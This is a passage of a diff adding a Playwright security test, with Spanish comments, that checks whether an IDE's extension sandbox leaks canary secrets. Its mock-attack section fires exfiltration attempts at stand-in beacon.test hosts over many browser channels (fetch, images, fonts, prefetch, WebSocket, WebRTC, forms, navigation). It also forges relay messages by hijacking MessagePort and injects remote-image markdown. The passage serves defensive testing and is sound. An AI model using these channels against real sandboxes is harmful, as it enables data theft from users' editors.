39+import { seed } from './lib/x2-fixtures.mjs';
40+import { CANARY_FULL } from './lib/x2-canary-ext.mjs';
41+
42+let fails = 0, lastStep = 'start';
43+const ok = (name, c, extra = '') => { lastStep = name.slice(0, 40); console.log((c ? '✅' : '❌') + ' ' + name + (extra ? ' — ' + extra : '')); if (!c) fails++; };
44+const sleep = ms => new Promise(r => setTimeout(r, ms));
45+async function until(fn, { timeout = 20000, every = 150 } = {}) {
46+ const end = Date.now() + timeout;
47+ let v;
48+ while (Date.now() < end) { try { v = await fn(); if (v) return v; } catch { /* reintenta */ } await sleep(every); }
49+ return v;
50+}
51+
52+const NETLOG = path.join(os.tmpdir(), `x2-canary-netlog-${process.pid}.json`);
53+const srv = await startServer();
54+const beacon = await startBeacon({ tls: true });
55+const browser = await chromium.launch({ args: [`--host-resolver-rules=${beacon.strictRules}`, `--log-net-log=${NETLOG}`] });
56+const ctx = await browser.newContext({ permissions: ['clipboard-read', 'clipboard-write'] });
57+await ctx.addInitScript(() => {
58+ try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ }
59+ if (location.hostname !== '127.0.0.1') return;
60+ // vigía: nada del DOM de Code puede apuntar fuera de Code, del CDN de Monaco o de datos locales
61+ const OK = new Set([location.host, 'cdn.jsdelivr.net']);
62+ const outside = u => { try { const x = new URL(u, location.href); return /^(https?|wss?):$/.test(x.protocol) && !OK.has(x.host) && !(x.hostname === 'localhost' && /\/x2\/v1\//.test(x.pathname)); } catch { return false; } };
63+ const w = window.__x2watch = [];
64+ const look = n => {
65+ if (!(n instanceof Element)) return;
66+ for (const e of [n, ...n.querySelectorAll('*')]) {
67+ for (const a of ['src', 'href', 'srcset', 'poster', 'data', 'action']) { const v = e.getAttribute(a); if (v && outside(v.split(/\s+/)[0]) && !(e.tagName === 'IFRAME' && a === 'src' && v === 'https://models.elffuss.com/' && e.getAttribute('aria-hidden') === 'true')) w.push(e.tagName + '[' + a + ']=' + v.slice(0, 120)); }
68+ const st = e.getAttribute('style');
69+ if (st && /url\(\s*['"]?(https?:)?\/\//i.test(st)) w.push(e.tagName + '[style]=' + st.slice(0, 120));
70+ if (e.tagName === 'STYLE' && /url\(\s*['"]?(https?:)?\/\//i.test(e.textContent)) w.push('STYLE=' + e.textContent.match(/url\([^)]*\)/i)[0].slice(0, 120));
71+ if (e.tagName === 'A' && e.getAttribute('href') && e.closest('.monaco-hover, .suggest-details, .parameter-hints-widget, .x2-toast, .x2-modal, .x2-pick')) w.push('A in widget=' + e.getAttribute('href').slice(0, 120));
72+ }
73+ };
74+ new MutationObserver(ms => { for (const m of ms) { if (m.type === 'attributes') look(m.target); else { for (const n of m.addedNodes) look(n.nodeType === 3 ? n.parentElement : n); } } })
75+ .observe(document, { subtree: true, childList: true, attributes: true, attributeFilter: ['src', 'href', 'srcset', 'style', 'poster', 'data', 'action'], characterData: true });
76+});
77+const page = await ctx.newPage();
78+const errors = [], cspMessages = [];
79+const onConsole = m => { if (/Content Security Policy/.test(m.text())) cspMessages.push(m.text().slice(0, 160)); };
80+page.on('console', onConsole);
81+page.on('worker', wk => { try { wk.on('console', onConsole); } catch { /* — */ } });
82+page.on('pageerror', e => { if (e.message !== 'Canceled') errors.push(String(e.message) + ' @ ' + String(e.stack || '').split('\n').slice(0, 3).join(' ').slice(0, 300) + ' (after: ' + lastStep + ')'); });
83+// Playwright también ve los intentos que la CSP para antes de salir (y la baliza
84+// no recibe): esos no cuentan. Cuenta lo que terminó, o falló por otra cosa.
85+const otherRequests = [];
86+const CODE_BROKER = 'https://models.elffuss.com/';
87+const outsider = r => {
88+ const u = new URL(r.url());
89+ const fine = (u.origin === srv.codeOrigin) || u.host === 'cdn.jsdelivr.net' || u.protocol === 'data:' || u.protocol === 'blob:'
90+ || (u.origin === srv.sandboxOrigin && ['/x2/v1/sandbox.html', '/x2/v1/exthost-iframe.html'].includes(u.pathname));
91+ // el iframe oculto del almacén de modelos de Code (js/runtime/model-broker.js):
92+ // lo abre la página de Code, no una extensión, y su dirección exacta no lleva
93+ // datos. Aquí no resuelve (las reglas del resolvedor), así que tampoco sale.
94+ const codeBroker = r.url() === CODE_BROKER && r.resourceType() === 'document' && r.frame()?.parentFrame()?.url().startsWith(srv.codeOrigin);
95+ return !fine && !codeBroker;
96+};
97+const cspBlocked = [];
98+ctx.on('requestfinished', r => { if (outsider(r)) otherRequests.push('finished ' + r.url().slice(0, 150)); });
99+ctx.on('requestfailed', r => {
100+ if (!outsider(r)) return;
101+ const why = r.failure()?.errorText || '';
102+ if (/BLOCKED_BY_CSP|csp/i.test(why)) cspBlocked.push(r.url()); else otherRequests.push('failed (' + why + ') ' + r.url().slice(0, 150));
103+});
104+
105+// ── montaje: canarios de almacenamiento en el origen de Code y el proyecto ──
106+await page.goto(srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
107+await page.evaluate(async () => {
108+ await new Promise((res, rej) => { const r = indexedDB.open('elffuss-canary', 1); r.onupgradeneeded = () => r.result.createObjectStore('s'); r.onsuccess = () => { r.result.close(); res(); }; r.onerror = () => rej(r.error); });
109+ localStorage.setItem('elffuss-canary', 'secret');
110+ document.cookie = 'elffuss_canary=secret; path=/';
111+ const o = await navigator.storage.getDirectory();
112+ const w = async (n, t) => { const f = await o.getFileHandle(n, { create: true }); const s = await f.createWritable(); await s.write(t); await s.close(); };
113+ await w('canary-opfs.txt', 'secret');
114+ await w('canary.js', 'function canary() {}\ncanary(\n');
115+ await w('page.html', '<p>page</p>\n');
116+ await w('plain.txt', 'see https://cmdclick.beacon.test/x?d=1 now\n');
117+});
118+const sameOrigin = await page.evaluate(async () => {
119+ const dbs = (await indexedDB.databases()).map(d => d.name);
120+ const o = await navigator.storage.getDirectory(); const names = []; for await (const k of o.keys()) names.push(k);
121+ return { idb: dbs.includes('elffuss-canary'), opfs: names.includes('canary-opfs.txt'), ls: localStorage.getItem('elffuss-canary') === 'secret', cookie: /elffuss_canary=secret/.test(document.cookie) };
122+});
123+ok('control 4: los canarios de almacenamiento SÍ se ven desde el origen de Code', sameOrigin.idb && sameOrigin.opfs && sameOrigin.ls && sameOrigin.cookie, JSON.stringify(sameOrigin));
124+await seed(page, [CANARY_FULL]);
125+await page.goto(srv.codeOrigin + '/?test-opfs', { waitUntil: 'domcontentloaded' });
126+await page.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 });
127+const open = p => page.evaluate(async p => { await (await import('/js/ide.js')).openFile(p); }, p);
128+const ed = fn => page.evaluate(fn);
129+const state = () => page.evaluate(async () => (await import('/js/ext2/bridge.js')).state());
130+const run = (id, ...args) => page.evaluate(([id, args]) => { window.__x2r = window.__x2r || {}; window.__x2r[id] = import('/js/ext2/bridge.js').then(b => b.runCommand(id, args.length ? args : undefined)); }, [id, args]);
131+const result = id => page.evaluate(id => window.__x2r[id], id);
132+const dialogUrl = () => until(() => page.evaluate(() => { const d = document.querySelector('#x2-open [role="dialog"]'); return d ? d.querySelector('.x2-code').textContent : null; }));
133+await open('canary.js');
134+await until(async () => (await state()).extensions.some(e => e.id === 'elffuss-test.canary' && e.state === 'active'), { timeout: 60000 });
135+await page.evaluate(() => navigator.clipboard.writeText('clipboard-secret'));
136+
137+// ── W: los canales del worker ──
138+const sandboxPort = new URL(srv.sandboxOrigin).port;
139+await page.evaluate(([cp, sp]) => { window.__x2run = import('/js/ext2/bridge.js').then(b => b.runCommand('canary.run', [cp, sp])); }, [srv.port, sandboxPort]);
140+const openW = await dialogUrl();
141+ok('W openExternal: diálogo con la dirección entera', openW === 'http://open.beacon.test/x2-canary/open', String(openW));
142+await page.keyboard.press('Escape');
143+const report = JSON.parse(await page.evaluate(() => window.__x2run) || '[]');
144+const leaksW = report.filter(r => r.outcome === 'ALLOWED' && !/^own:/.test(r.detail));
145+ok(`W ${report.length} intentos desde el worker: todos bloqueados o locales`, report.length >= 30 && leaksW.length === 0, JSON.stringify(leaksW));
146+ok('W no ve IndexedDB, OPFS, localStorage ni cookies de Code', report.filter(r => ['indexedDB', 'opfs', 'localStorage', 'cookie'].includes(r.channel)).every(r => !/SAW/.test(r.detail)),
147+ JSON.stringify(report.filter(r => ['indexedDB', 'opfs', 'localStorage', 'cookie'].includes(r.channel))));
148+const tried = ch => report.find(r => r.channel === ch);
149+ok('W fuentes (FontFace) y Cache Storage existen en el worker y se intentan: bloqueadas por la política, no por faltar', ['fontface', 'caches-add'].every(ch => tried(ch)?.outcome === 'blocked' && !/^no /.test(tried(ch).detail)),
150+ JSON.stringify(['fontface', 'caches-add', 'websocketstream'].map(ch => [ch, tried(ch)?.outcome, tried(ch)?.detail?.slice(0, 120)])));
151+ok('W el portapapeles se lee vacío; guardar todo, rechazado', /read 0 chars/.test(report.find(r => r.channel === 'clipboard-api')?.detail || '') && report.find(r => r.channel === 'saveAll')?.outcome === 'blocked');
152+
153+// ── P: lo que pinta la página ──
154+const widgetText = sel => page.evaluate(sel => { const w = [...document.querySelectorAll(sel)].find(x => x.offsetParent !== null && /canary/i.test(x.textContent)); return w ? { text: w.textContent.slice(0, 300), imgs: w.querySelectorAll('img').length, links: w.querySelectorAll('a[href]').length } : null; }, sel);
155+await ed(() => { const e = window.monaco.editor.getEditors()[0]; e.setPosition({ lineNumber: 1, column: 1 }); e.focus(); e.trigger('t', 'editor.action.showHover', {}); });
156+const hov = await until(() => widgetText('.monaco-hover'));
157+ok('P hover y diagnóstico: texto, sin <img> ni enlaces', !!hov && hov.imgs === 0 && hov.links === 0 && /!\[i\]\(http:\/\/md-img\.beacon\.test/.test(hov.text), JSON.stringify(hov));
158+await page.keyboard.press('Escape');
159+await ed(() => { const e = window.monaco.editor.getEditors()[0]; e.setPosition({ lineNumber: 2, column: 8 }); e.focus(); e.trigger('t', 'editor.action.triggerParameterHints', {}); });
160+const sig = await until(() => widgetText('.parameter-hints-widget'));
161+ok('P ayuda de firmas: texto, sin <img> ni enlaces', !!sig && sig.imgs === 0 && sig.links === 0, JSON.stringify(sig));
162+await page.keyboard.press('Escape');
163+await ed(() => { const e = window.monaco.editor.getEditors()[0]; const m = e.getModel(); m.setValue('function canary() {}\ncanary(\nzzc'); e.setPosition({ lineNumber: 3, column: 4 }); e.focus(); e.trigger('t', 'editor.action.triggerSuggest', {}); });
164+await until(() => page.evaluate(() => [...document.querySelectorAll('.suggest-widget .monaco-list-row')].some(r => /zzcanary/.test(r.textContent))));
165+await ed(() => window.monaco.editor.getEditors()[0].trigger('t', 'toggleSuggestionDetails', {}));
166+const sug = await until(() => widgetText('.suggest-details'), { timeout: 8000 });
167+ok('P detalles del autocompletado: texto, sin <img> ni enlaces', !!sug && sug.imgs === 0 && sug.links === 0, JSON.stringify(sug));
168+await page.keyboard.press('Enter'); // acepta: texto con ${CLIPBOARD} y un comando que abre una dirección
169+const compUrl = await dialogUrl();
170+ok('P el comando de un autocompletado que abre una dirección pregunta con la dirección entera', compUrl === 'http://completioncmd.beacon.test/x2-canary/completioncmd', String(compUrl));
171+await page.keyboard.press('Escape');
172+const afterAccept = await ed(() => window.monaco.editor.getEditors()[0].getModel().getValue());
173+ok('P aceptar el autocompletado no mete el portapapeles en el documento (${CLIPBOARD} fuera)', !/clipboard-secret/.test(afterAccept) && /canary\s+x/.test(afterAccept), JSON.stringify(afterAccept));
174+await ed(() => { const e = window.monaco.editor.getEditors()[0]; e.setPosition({ lineNumber: 1, column: 1 }); e.focus(); e.trigger('t', 'editor.action.quickFix', {}); });
175+await until(() => page.evaluate(() => [...document.querySelectorAll('.action-widget .monaco-list-row, .action-widget li, .context-view .monaco-list-row')].some(r => /Canary/.test(r.textContent))), { timeout: 8000 });
176+const actionText = await page.evaluate(() => { const r = [...document.querySelectorAll('.action-widget .monaco-list-row, .action-widget li, .context-view .monaco-list-row')].find(x => /Canary/.test(x.textContent)); return r ? { text: r.textContent, els: r.querySelectorAll('b, img, a').length } : null; });
177+ok('P acción de código: su título como texto', !!actionText && actionText.els === 0 && /<b>fix<\/b>/.test(actionText.text), JSON.stringify(actionText));
178+await page.keyboard.press('Enter');
179+const actUrl = await dialogUrl();
180+ok('P la acción que abre una dirección pregunta con la dirección entera', actUrl === 'http://actioncmd.beacon.test/x2-canary/actioncmd', String(actUrl));
181+await page.keyboard.press('Escape');
182+// avisos, modal, selector, cuadro de texto, progreso
183+await run('canary.ui');
184+const toast = await until(() => page.evaluate(() => { const t = [...document.querySelectorAll('#x2-toasts .x2-toast')].find(x => /canary toast/.test(x.textContent)); return t ? { text: t.querySelector('.x2-toast-text').textContent.slice(0, 200), els: t.querySelectorAll('.x2-toast-text *, img, a').length, buttons: [...t.querySelectorAll('button')].map(b => b.textContent) } : null; }));
185+ok('P aviso: el texto y los botones como texto, sin elementos', !!toast && toast.els === 0 && toast.buttons.includes('Open <b>it</b>') && toast.buttons.includes('command:workbench.action.reloadWindow'), JSON.stringify(toast));
186+await page.click('#x2-toasts .x2-toast .x2-toast-close');
187+const modalBox = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-dialog [role="dialog"]'); return d ? { text: d.textContent.slice(0, 200), els: d.querySelectorAll('img, a, b, style, svg').length } : null; }));
188+ok('P modal: texto, sin elementos', !!modalBox && modalBox.els === 0 && /canary modal <img/.test(modalBox.text), JSON.stringify(modalBox));
189+await page.keyboard.press('Escape');
190+const pick = await until(() => page.evaluate(() => { const p = document.getElementById('x2-pick'); return p && !p.classList.contains('x2-inputbox') ? { labels: [...p.querySelectorAll('.x2-pick-label')].map(x => x.textContent), els: p.querySelectorAll('img, a, b, svg').length, ph: p.querySelector('input').placeholder } : null; }));
191+ok('P selector: etiquetas como texto, sin iconos remotos ni elementos', !!pick && pick.els === 0 && /^canary <img/.test(pick.labels[0]) && pick.ph === 'canary <b>pick</b>', JSON.stringify(pick));
192+await page.keyboard.press('Escape');
193+const input = await until(() => page.evaluate(() => { const p = document.getElementById('x2-input'); return p ? { prompt: p.querySelector('.x2-input-prompt').textContent.slice(0, 80), els: p.querySelectorAll('img, a, b, svg, style').length } : null; }));
194+ok('P cuadro de texto: el aviso como texto', !!input && input.els === 0 && /^canary \*\*canary\*\*/.test(input.prompt), JSON.stringify(input));
195+await page.keyboard.press('Escape');
196+const uiRes = JSON.parse(await result('canary.ui') || '{}');
197+ok('P la extensión recibe «nada» de lo cancelado', uiRes.info === undefined && uiRes.modal === undefined && uiRes.pick === undefined && uiRes.input === undefined, JSON.stringify(uiRes));
198+// Cmd+clic en una dirección del documento
199+await open('plain.txt');
200+await ed(() => { const e = window.monaco.editor.getEditors()[0]; e.setPosition({ lineNumber: 1, column: 14 }); e.focus(); });
201+await sleep(400);
202+await ed(() => window.monaco.editor.getEditors()[0].getAction('editor.action.openLink').run());
203+const linkUrl = await dialogUrl();
204+ok('P Cmd+clic en una dirección del documento: diálogo con la dirección entera', linkUrl === 'https://cmdclick.beacon.test/x?d=1', String(linkUrl));
205+await page.keyboard.press('Escape');
206+// la vista previa HTML de un fichero que tocó la extensión
207+await open('page.html');
208+await page.evaluate(async () => (await import('/js/ext2/bridge.js')).runCommand('canary.edit'));
209+await until(async () => /preview\.beacon\.test/.test(await ed(() => window.monaco.editor.getEditors()[0].getModel().getValue())));
210+await page.click('#tabs-bar .tab.active', { button: 'right' });
211+// (el menú sigue el idioma del navegador desde 7d5e790: «Vista previa» o «Preview»)
212+await page.locator('#tab-menu .tm-item').filter({ hasText: /^(Vista previa|Preview)$/ }).click();
213+const gate = await until(() => page.evaluate(() => !!document.querySelector('#x2-preview [role="dialog"]')));
214+ok('P la vista previa de un HTML que tocó la extensión pregunta antes', !!gate);
215+await page.keyboard.press('Escape');
216+await sleep(400);
217+ok('P cancelada: sin vista previa', await page.evaluate(() => document.querySelectorAll('#md-preview-pane iframe').length === 0));
218+// portapapeles sin gesto (cada page.evaluate cuenta como gesto: se lanza a los 6 s)
219+await page.evaluate(() => { setTimeout(() => import('/js/ext2/bridge.js').then(b => b.runCommand('canary.clip')), 6000); });
220+await sleep(6500);
221+const dropped = await until(async () => ((await state()).ui?.dropped?.clipboard >= 1 ? 1 : null), { timeout: 8000 });
222+const clip = await page.evaluate(() => navigator.clipboard.readText().catch(() => 'ERR'));
223+ok('P escribir en el portapapeles sin gesto: descartado', !!dropped && clip === 'clipboard-secret', clip);
224+// tramas RPC hechas a mano
225+await open('canary.js');
226+await run('canary.forge');
227+const forgedUrl = await dialogUrl();
228+ok('W una trama $openUri hecha a mano solo llega al diálogo (con la dirección entera)', forgedUrl === 'https://forged.beacon.test/rpc?d=secret', String(forgedUrl));
229+await page.keyboard.press('Escape');
230+const forged = JSON.parse(await result('canary.forge') || '{}');
231+const dn = await until(async () => { const d = (await state()).denials; return d.top.some(([k]) => k === 'MainThreadCommands.dispose') ? d : null; });
232+ok('W tramas a métodos sin $, a un actor denegado y a uno que no existe: rechazadas y contadas', !!dn && dn.n >= 3 && dn.top.some(([k]) => /WebviewPanels\.\$createWebviewPanel/.test(k)) && dn.top.some(([k]) => /\$anything/.test(k)),
233+ JSON.stringify({ sent: forged.sent, denials: dn }));
234+
235+// ── comprobaciones de la fase A ──
236+await sleep(1500);
237+const watchA = await page.evaluate(() => window.__x2watch.slice());
238+ok('vigía: ni imágenes, ni enlaces en los widgets, ni url() hacia fuera en el DOM de Code', watchA.length === 0, JSON.stringify(watchA.slice(0, 5)));
239+ok('baliza: 0 visitas, 0 conexiones TCP, 0 paquetes UDP', beacon.leaks().length === 0 && beacon.tcp.length === 0 && beacon.udp.length === 0, JSON.stringify({ hits: beacon.hits.slice(0, 3), tcp: beacon.tcp.length, udp: beacon.udp.length }));
240+ok('del navegador solo salió lo de Code, el CDN de Monaco y los dos documentos del recinto (el resto lo paró la CSP)', otherRequests.length === 0, otherRequests.slice(0, 5).join(' ') + ` · parados por la CSP: ${cspBlocked.length}`);
241+const tcpBefore = beacon.tcp.length;
242+
243+// ── fase B: aceptar una dirección → exactamente una visita, la enseñada ──
244+const popupP = ctx.waitForEvent('page', { timeout: 20000 }).catch(() => null);
245+// (un vscode.Uri con consulta: se abre como VS Code, encodeURI(uri.toString(true)),
246+// así que «=», «&» y «+» llegan tal cual y no como %3D, %26 y %2B)
247+const WANT_B = 'http://phaseb.beacon.test/exact?q=word+word&type=code&x=1';
248+await run('canary.open', WANT_B);
249+const urlB = await dialogUrl();
250+ok('B el diálogo enseña la dirección que se abrirá, con su consulta legible (= & +)', urlB === WANT_B, String(urlB));
251+await page.click('#x2-open button:has-text("Open in new tab")');
252+const popup = await popupP;
253+const hitB = await until(() => (beacon.leaks().length ? beacon.leaks() : null), { timeout: 15000 });
254+await sleep(1500);
255+ok('B exactamente una visita, a esa dirección', !!hitB && beacon.leaks().length === 1 && beacon.leaks()[0].host === 'phaseb.beacon.test' && 'http://phaseb.beacon.test' + beacon.leaks()[0].url === urlB, JSON.stringify(beacon.leaks()));
256+ok('B la extensión sabe que se abrió', (await result('canary.open')) === 'true');
257+await popup?.close();
258+
259+// ── simulacro: el recinto y el host de extensiones ya comprometidos ──
260+const sbxFrame = page.frames().find(f => f.url().startsWith(srv.sandboxOrigin + '/x2/v1/sandbox.html'));
261+const hostFrame = page.frames().find(f => f.url().includes('/x2/v1/exthost-iframe.html'));
262+ok('simulacro: los dos marcos del recinto existen', !!sbxFrame && !!hostFrame);
263+const attack = async (frame, tag) => frame.evaluate(async tag => {
264+ const out = {};
265+ const T = n => `http://drill-${tag}-${n}.beacon.test/${n}`;
266+ const step = async (name, fn) => { try { out[name] = String(await fn()).slice(0, 120); } catch (e) { out[name] = 'blocked: ' + String(e && (e.message || e)).slice(0, 100); } };
267+ await step('fetch', () => fetch(T('fetch'), { mode: 'no-cors' }).then(r => 'ALLOWED ' + r.type));
268+ await step('image', () => new Promise((res, rej) => { const i = new Image(); i.onload = () => res('ALLOWED'); i.onerror = () => rej(new Error('img error')); i.src = T('img'); setTimeout(() => rej(new Error('img timeout')), 2000); }));
269+ await step('css-import', () => { const s = document.createElement('style'); s.textContent = `@import url(${T('import')});`; (document.head || document.documentElement).appendChild(s); return 'appended'; });
270+ await step('font-face', () => { const s = document.createElement('style'); s.textContent = `@font-face { font-family: d; src: url(${T('font')}); } body { font-family: d; }`; (document.head || document.documentElement).appendChild(s); const p = document.createElement('p'); p.textContent = 'x'; document.body.appendChild(p); return document.fonts.load('12px d').then(() => 'loaded?'); });
271+ await step('prefetch', () => { for (const rel of ['prefetch', 'preload', 'dns-prefetch', 'preconnect']) { const l = document.createElement('link'); l.rel = rel; l.href = T(rel); if (rel === 'preload') l.as = 'script'; document.head.appendChild(l); } return 'appended'; });
272+ await step('iframe', () => { const f = document.createElement('iframe'); f.src = T('iframe'); document.body.appendChild(f); return 'appended'; });
273+ await step('worker', () => { new Worker(T('worker')); return 'ALLOWED created'; });
274+ await step('sendBeacon', () => (navigator.sendBeacon(T('beacon'), 'x') ? 'queued (the beacon decides)' : 'refused'));
275+ await step('websocket', () => new Promise((res, rej) => { const w = new WebSocket(T('ws').replace('http', 'ws')); w.onopen = () => res('ALLOWED'); w.onerror = () => rej(new Error('ws error')); setTimeout(() => rej(new Error('ws timeout')), 2000); }));
276+ await step('rtc', () => { if (typeof RTCPeerConnection === 'undefined' || !RTCPeerConnection) throw new Error('no RTCPeerConnection'); const pc = new RTCPeerConnection({ iceServers: [{ urls: 'stun:drill-stun.beacon.test:3478' }] }); pc.createDataChannel('x'); return pc.createOffer().then(o => pc.setLocalDescription(o)).then(() => 'ALLOWED'); });
277+ await step('notification', () => (typeof Notification === 'undefined' ? 'no Notification' : Notification.requestPermission()));
278+ await step('indexedDB', () => indexedDB.databases().then(d => d.map(x => x.name).join(',') || 'none'));
279+ await step('open', () => { const w = window.open(T('open')); return w ? 'ALLOWED' : 'null'; });
280+ await step('top', () => { top.location = T('top'); return 'assigned'; });
281+ await step('form', () => { const f = document.createElement('form'); f.action = T('form'); f.method = 'GET'; document.body.appendChild(f); f.submit(); return 'submitted'; });
282+ await step('meta-refresh', () => { const m = document.createElement('meta'); m.httpEquiv = 'refresh'; m.content = '0;url=' + T('meta'); document.head.appendChild(m); return 'appended'; });
283+ await step('anchor', () => { const a = document.createElement('a'); a.href = T('anchor'); document.body.appendChild(a); a.click(); return 'clicked'; });
284+ await step('location', () => { location.href = T('location'); return 'assigned'; });
285+ return out;
286+}, tag);
287+// (si un marco navegara de verdad, su contexto se destruiría: eso también es un fallo)
288+const drillS = await attack(sbxFrame, 's').catch(e => ({ crashed: 'ALLOWED? ' + String(e.message).slice(0, 120) }));
289+const drillH = await attack(hostFrame, 'h').catch(e => ({ crashed: 'ALLOWED? ' + String(e.message).slice(0, 120) }));
290+await sleep(3000);
291+const allowed = Object.entries({ ...Object.fromEntries(Object.entries(drillS).map(([k, v]) => ['s.' + k, v])), ...Object.fromEntries(Object.entries(drillH).map(([k, v]) => ['h.' + k, v])) }).filter(([, v]) => /ALLOWED/.test(v));
292+ok('simulacro: ningún intento sale (fetch, imagen, CSS, fuentes, prefetch, iframe, worker, beacon, WebSocket, WebRTC…)', allowed.length === 0, JSON.stringify(allowed));
293+ok('simulacro: ni una visita nueva a la baliza', beacon.leaks().length === 1 && beacon.udp.length === 0, JSON.stringify(beacon.leaks().slice(1, 4)));
294+ok('simulacro: las navegaciones se cancelan (los dos marcos siguen en su documento)', sbxFrame.url().includes('/x2/v1/sandbox.html') && hostFrame.url().includes('/x2/v1/exthost-iframe.html') && !!(await page.evaluate(() => !!document.getElementById('x2-sandbox'))));
295+ok('simulacro: el host de extensiones tampoco tiene WebRTC ni window.open', /no RTCPeerConnection/.test(drillH.rtc) && /blocked/.test(drillH.open), JSON.stringify({ rtc: drillH.rtc, open: drillH.open }));
296+ok('simulacro: IndexedDB del recinto, sin nada de Code', !/elffuss|canary/.test(drillS.indexedDB + drillH.indexedDB), drillS.indexedDB + ' | ' + drillH.indexedDB);
297+// mensajes del relevo falsificados: el puerto se roba parcheando MessagePort
298+await sbxFrame.evaluate(() => {
299+ const orig = MessagePort.prototype.postMessage;
300+ MessagePort.prototype.postMessage = function (...a) { window.__stolen = window.__stolen || this; return orig.apply(this, a); };
301+});
302+await page.evaluate(async () => (await import('/js/ext2/bridge.js')).stats());
303+const forgedSent = await sbxFrame.evaluate(() => {
304+ const p = window.__stolen;
305+ if (!p) return 0;
306+ const bad = [{ t: 'eval', code: 'x' }, { t: 'open.request', req: 1, url: 42 }, { t: 'ui.notify', req: 2, sev: 'html', text: '<img>', actions: [] }, { t: 'deco.set', key: 'a b', uri: 'x', ranges: [] }, { t: 'clipboard.write', text: 'x'.repeat(600000) }];
307+ let n = 0;
308+ for (let i = 0; i < 25; i++) { p.postMessage(bad[i % bad.length]); n++; }
309+ return n;
310+});
311+const torn = await until(async () => { const s = await state(); return s.state === 'error' && s.error?.code === 'violations' ? s : null; }, { timeout: 30000 });
312+const after = torn ? null : await state();
313+ok('simulacro: mensajes falsificados del relevo rechazados y contados; demasiados desmontan el recinto', forgedSent === 25 && !!torn && !(await page.evaluate(() => !!document.getElementById('x2-sandbox'))),
314+ JSON.stringify({ forgedSent, error: torn?.error, state: after?.state, violations: after?.violations, lastError: after?.error }));
315+
316+// ── controles positivos en esta misma sesión ──
317+// 2. el markdown hostil SIN sanitize.js sí pinta una imagen y llega a la baliza
318+await open('canary.js');
319+await page.evaluate(() => {
320+ window.monaco.languages.registerHoverProvider('javascript', { provideHover: () => ({ contents: [{ value: '![b](http://bypass.beacon.test/b.png) <img src="http://bypass2.beacon.test/c.png">', isTrusted: true, supportHtml: true }] }) });
321+ const e = window.monaco.editor.getEditors()[0]; e.setPosition({ lineNumber: 1, column: 3 }); e.focus(); e.trigger('t', 'editor.action.showHover', {});
322+});
323+const bypass = await until(() => (beacon.leaks().some(h => /bypass/.test(h.host)) ? beacon.leaks().filter(h => /bypass/.test(h.host)) : null), { timeout: 15000 });
324+const bypassImg = await page.evaluate(() => [...document.querySelectorAll('.monaco-hover img')].some(i => /bypass/.test(i.src)));
325+ok('control 2: sin sanitize.js el mismo markdown SÍ pinta <img> y llega a la baliza', !!bypass && bypassImg, JSON.stringify(bypass));
326+// 3. una resolución de *.test pedida por la página (sin X-DNS-Prefetch-Control) sale en el NetLog
327+await page.evaluate(() => {
328+ const l = document.createElement('link'); l.rel = 'dns-prefetch'; l.href = '//prefetch-control.test'; document.head.appendChild(l);
329+ return fetch('http://netlog-control.test/', { mode: 'no-cors' }).catch(() => {});
330+});
331+await sleep(1500);
332+ok('control 5: hubo mensajes de violación de CSP (los intentos se bloquearon, no se perdieron)', cspMessages.length > 0, String(cspMessages.length));
333+const realErrors = errors.filter(e => !/beacon\.test|Elffuss Code does not let extensions|violat|importScripts/i.test(String(e)));
334+ok('sin errores de página fuera de lo provocado', realErrors.length === 0, JSON.stringify(realErrors.slice(0, 4)));
335+await browser.close();
336+
337+// ── NetLog: ninguna resolución de *.test salvo los controles y la fase B ──
338+let netlog = '';
339+try { netlog = fs.readFileSync(NETLOG, 'utf8'); } catch { /* — */ }
340+if (!process.env.X2_KEEP_NETLOG) fs.rmSync(NETLOG, { force: true }); else console.log(' NetLog kept at ' + NETLOG);
341+const names = [...new Set((netlog.match(/[a-z0-9-]+(?:\.[a-z0-9-]+)*\.test\b/gi) || []).map(s => s.toLowerCase()))];
342+// («beacon.test» a secas es el sitio de la pestaña de la fase B en su clave de aislamiento, no una resolución)
343+const expected = new Set(['phaseb.beacon.test', 'beacon.test', 'bypass.beacon.test', 'bypass2.beacon.test', 'netlog-control.test', 'prefetch-control.test']);
344+const unexpected = names.filter(n => !expected.has(n));
345+ok('control 3: el NetLog SÍ ve la resolución que pidió la página (netlog-control.test)', names.includes('netlog-control.test'), names.join(' '));
346+ok('control 6: el NetLog SÍ ve las resoluciones del bucle local', /"localhost"|localhost:/.test(netlog));
347+const where = n => { const i = netlog.toLowerCase().indexOf(n); return netlog.slice(Math.max(0, i - 80), i + n.length + 40).replace(/\s+/g, ' '); };
348+ok('NetLog: ninguna resolución de los nombres del canario ni del simulacro', netlog.length > 0 && unexpected.length === 0, unexpected.slice(0, 4).map(n => n + ' ← ' + where(n)).join(' | '));
349+console.log(` (dns-prefetch del control en el NetLog: ${names.includes('prefetch-control.test') ? 'sí' : 'no, el navegador sin cabeza no lo hace'})`);
350+
351+// ── control 1: sin la CSP del host de extensiones, el canario SÍ sale ──
352+{
353+ const open2 = await startServer({ insecure: 'exthost' });
354+ const b2 = await chromium.launch({ args: [`--host-resolver-rules=${beacon.resolverRules}`] });
355+ const c2 = await b2.newContext();
356+ await c2.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
357+ const p2 = await c2.newPage();
358+ await p2.goto(open2.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
359+ await p2.evaluate(async () => { const o = await navigator.storage.getDirectory(); const f = await o.getFileHandle('a.js', { create: true }); const s = await f.createWritable(); await s.write('x\n'); await s.close(); });
360+ await seed(p2, [CANARY_FULL]);
361+ await p2.goto(open2.codeOrigin + '/?test-opfs', { waitUntil: 'domcontentloaded' });
362+ await p2.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 });
363+ await p2.evaluate(async () => { await (await import('/js/ide.js')).openFile('a.js'); });
364+ await until(() => p2.evaluate(async () => (await import('/js/ext2/bridge.js')).state().extensions.some(e => e.state === 'active')), { timeout: 60000 });
365+ const before = beacon.leaks().length;
366+ await p2.evaluate(([cp, sp]) => { window.__r = import('/js/ext2/bridge.js').then(b => b.runCommand('canary.run', [cp, sp])); }, [open2.port, new URL(open2.sandboxOrigin).port]);
